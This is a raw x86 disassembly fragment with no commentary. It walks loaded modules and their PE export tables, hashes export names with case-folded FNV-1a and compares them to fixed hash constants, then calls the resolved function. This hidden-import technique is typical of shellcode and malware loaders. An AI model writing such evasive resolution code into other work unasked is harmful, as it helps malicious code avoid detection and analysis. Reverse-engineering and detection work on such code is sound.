cmova eax, edx
inc edi
xor eax, dword [esp + 0x18]
imul eax, eax, 0x1000193
mov dword [esp + 0x18], eax
cmp edi, ebx
jne 0x4c6a05
cmp eax, 0xc0323159
je 0x4c6b39
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov eax, dword [ecx]
mov ecx, eax
mov dword [esp + 0x10], ecx
cmp eax, edx
je 0x4c6a53
cmp dword [ecx + 0x18], 0
jne 0x4c69e6
xor ebx, ebx
mov dword [0x4f37a8], ebx
mov eax, dword [0x4fc040]
test eax, eax
jne 0x4c6afe
test ebx, ebx
je 0x4c6af7
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
lea eax, [ecx + ebx]
mov dword [esp + 0x10], eax
cmp eax, ebx
je 0x4c6af7
xor ecx, ecx
mov dword [esp + 0x14], ecx
cmp dword [eax + 0x18], ecx
je 0x4c6af7
mov eax, dword [eax + 0x20]
mov edx, dword [esp + 0x10]
add eax, ebx
mov dword [esp + 0x18], eax
nop word [eax + eax]
mov esi, dword [eax]
mov edi, 0x811c9dc5
mov al, byte [esi + ebx]
add esi, ebx
inc esi
test al, al
je 0x4c6ae2
movsx edx, al
lea esi, [esi + 1]
sub al, 0x41
mov ecx, edx
or ecx, 0x20
cmp al, 0x19
mov al, byte [esi - 1]
cmova ecx, edx
xor ecx, edi
imul edi, ecx, 0x1000193
test al, al
jne 0x4c6ab1
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x10]
cmp edi, 0x547ab68
je 0x4c6b45
mov eax, dword [esp + 0x18]
inc ecx
add eax, 4
mov dword [esp + 0x14], ecx
mov dword [esp + 0x18], eax
cmp ecx, dword [edx + 0x18]
jne 0x4c6aa0
xor eax, eax
mov dword [0x4fc040], eax
push dword [0x4fbb04]
call eax
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [esp + 0x10]
mov ebx, dword [eax + 0x18]
jmp 0x4c6910
mov edx, dword [esp + 0x14]
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + ebx]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + ebx]
add eax, ebx
jmp 0x4c69af
mov eax, dword [esp + 0x10]
mov ebx, dword [eax + 0x18]
jmp 0x4c6a55
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + ebx]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + ebx]
add eax, ebx
jmp 0x4c6af9